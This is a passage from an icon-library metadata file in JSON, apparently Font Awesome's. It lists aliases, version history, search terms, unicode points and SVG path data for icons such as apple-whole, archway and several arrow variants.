43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"
      }
    },
    "free": ["brands"]
  },
  "apple-whole": {
    "aliases": {
      "names": ["apple-alt"],
      "unicodes": {
        "composite": ["1f34e", "1f34f"],
        "secondary": ["10f5d1"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "fall",
        "fruit",
        "fuji",
        "green",
        "green apple",
        "macintosh",
        "orchard",
        "red",
        "red apple",
        "seasonal",
        "vegan"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5d1",
    "label": "Apple Whole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 112c-8.8 0-16-7.2-16-16V80c0-44.2 35.8-80 80-80h16c8.8 0 16 7.2 16 16V32c0 44.2-35.8 80-80 80H224zM0 288c0-76.3 35.7-160 112-160c27.3 0 59.7 10.3 82.7 19.3c18.8 7.3 39.9 7.3 58.7 0c22.9-8.9 55.4-19.3 82.7-19.3c76.3 0 112 83.7 112 160c0 128-80 224-160 224c-16.5 0-38.1-6.6-51.5-11.3c-8.1-2.8-16.9-2.8-25 0c-13.4 4.7-35 11.3-51.5 11.3C80 512 0 416 0 288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 112c-8.8 0-16-7.2-16-16V80c0-44.2 35.8-80 80-80h16c8.8 0 16 7.2 16 16V32c0 44.2-35.8 80-80 80H224zM0 288c0-76.3 35.7-160 112-160c27.3 0 59.7 10.3 82.7 19.3c18.8 7.3 39.9 7.3 58.7 0c22.9-8.9 55.4-19.3 82.7-19.3c76.3 0 112 83.7 112 160c0 128-80 224-160 224c-16.5 0-38.1-6.6-51.5-11.3c-8.1-2.8-16.9-2.8-25 0c-13.4 4.7-35 11.3-51.5 11.3C80 512 0 416 0 288z"
      }
    },
    "free": ["solid"]
  },
  "archway": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f557"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arc", "monument", "road", "street", "tunnel"]
    },
    "styles": ["solid"],
    "unicode": "f557",
    "label": "Archway",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H96h64V352c0-53 43-96 96-96s96 43 96 96V480h64 64c17.7 0 32-14.3 32-32s-14.3-32-32-32V128H32V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H96h64V352c0-53 43-96 96-96s96 43 96 96V480h64 64c17.7 0 32-14.3 32-32s-14.3-32-32-32V128H32V416z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down": {
    "aliases": {
      "unicodes": {
        "composite": ["2193"],
        "secondary": ["10f063"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Downwards Arrow", "download"]
    },
    "styles": ["solid"],
    "unicode": "f063",
    "label": "Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M169.4 470.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 370.8 224 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 306.7L54.6 265.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M169.4 470.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 370.8 224 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 306.7L54.6 265.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-1-9": {
    "aliases": {
      "names": ["sort-numeric-asc", "sort-numeric-down"],
      "unicodes": {
        "secondary": ["10f162"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-asc"]
    },
    "styles": ["solid"],
    "unicode": "f162",
    "label": "Arrow Down 1 9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M450.7 38c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V160H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V64c0-10.3-4.9-19.9-13.3-26zM160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM418.3 307a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 307zM405.1 419.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M450.7 38c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V160H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V64c0-10.3-4.9-19.9-13.3-26zM160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM418.3 307a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 307zM405.1 419.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-9-1": {
    "aliases": {
      "names": ["sort-numeric-desc", "sort-numeric-down-alt"],
      "unicodes": {
        "secondary": ["10f886"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-asc"]
    },
    "styles": ["solid"],
    "unicode": "f886",
    "label": "Arrow Down 9 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM450.7 294c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V416H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V320c0-10.3-4.9-19.9-13.3-26zM418.3 91a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 91zM405.1 203.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM450.7 294c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V416H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V320c0-10.3-4.9-19.9-13.3-26zM418.3 91a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 91zM405.1 203.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-a-z": {
    "aliases": {
      "names": ["sort-alpha-asc", "sort-alpha-down"],
      "unicodes": {
        "secondary": ["10f15d"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-asc"]
    },
    "styles": ["solid"],
    "unicode": "f15d",
    "label": "Arrow Down A Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 320c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 416H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 352H352c-17.7 0-32-14.3-32-32zM416 32c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 224H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128C392.8 38.8 403.9 32 416 32zM395.8 176h40.4L416 135.6 395.8 176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 320c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 416H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 352H352c-17.7 0-32-14.3-32-32zM416 32c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 224H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128C392.8 38.8 403.9 32 416 32zM395.8 176h40.4L416 135.6 395.8 176z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-long": {
    "aliases": {
      "names": ["long-arrow-down"],
      "unicodes": {
        "secondary": ["10f175"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download", "long-arrow-down"]
    },
    "styles": ["solid"],
    "unicode": "f175",
    "label": "Arrow Down Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M169.4 502.6c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 402.7 224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 370.7L86.6 329.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M169.4 502.6c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 402.7 224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 370.7L86.6 329.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-short-wide": {
    "aliases": {
      "names": ["sort-amount-desc", "sort-amount-down-alt"],
      "unicodes": {
        "secondary": ["10f884"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-asc"]
    },
    "styles": ["solid"],
    "unicode": "f884",
    "label": "Arrow Down Short Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-up-across-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["border", "crossing", "transfer"]
    },
    "styles": ["solid"],
    "unicode": "e4af",
    "label": "Arrow Down Up Across Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M137.4 502.6c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V288H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H448V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L384 109.3V224H192 128 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96zM128 192h64V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192zM448 320H384V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M137.4 502.6c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V288H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H448V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L384 109.3V224H192 128 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96zM128 192h64V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192zM448 320H384V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-up-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "border",
        "closed",
        "crossing",
        "lockdown",
        "quarantine",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4b0",
    "label": "Arrow Down Up Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M150.6 502.6l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7V288H416V272c0-17.2 3.9-33.5 10.8-48H352V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-6-6-14.1-9.4-22.6-9.4s-16.6 3.4-22.6 9.4l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 109.3V224l-128 0H96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32H96V402.7L54.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0zM160 192V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64zM288 320V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H288zm240-80c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M150.6 502.6l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7V288H416V272c0-17.2 3.9-33.5 10.8-48H352V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-6-6-14.1-9.4-22.6-9.4s-16.6 3.4-22.6 9.4l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 109.3V224l-128 0H96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32H96V402.7L54.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0zM160 192V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64zM288 320V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H288zm240-80c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-wide-short": {
    "aliases": {
      "names": ["sort-amount-asc", "sort-amount-down"],
      "unicodes": {
        "secondary": ["10f160"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "number", "order", "sort-amount-asc"]
    },
    "styles": ["solid"],
    "unicode": "f160",
    "label": "Arrow Down Wide Short",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 480c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 480c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-z-a": {
    "aliases": {
      "names": ["sort-alpha-desc", "sort-alpha-down-alt"],
      "unicodes": {
        "secondary": ["10f881"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-asc"]
    },
    "styles": ["solid"],
    "unicode": "f881",
    "label": "Arrow Down Z A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 64c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 96H352c-17.7 0-32-14.3-32-32zm96 192c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 448H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128c5.4-10.8 16.5-17.7 28.6-17.7zM395.8 400h40.4L416 359.6 395.8 400z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 64c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 96H352c-17.7 0-32-14.3-32-32zm96 192c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 448H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128c5.4-10.8 16.5-17.7 28.6-17.7zM395.8 400h40.4L416 359.6 395.8 400z"
      }
    },
    "free": ["solid"]
  },
  "arrow-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2190"],
        "secondary": ["10f060"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Leftwards Arrow", "back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f060",
    "label": "Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.2 288 416 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0L214.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.2 288 416 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0L214.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-left-long": {
    "aliases": {
      "names": ["long-arrow-left"],
      "unicodes": {
        "secondary": ["10f177"]
      }
    },
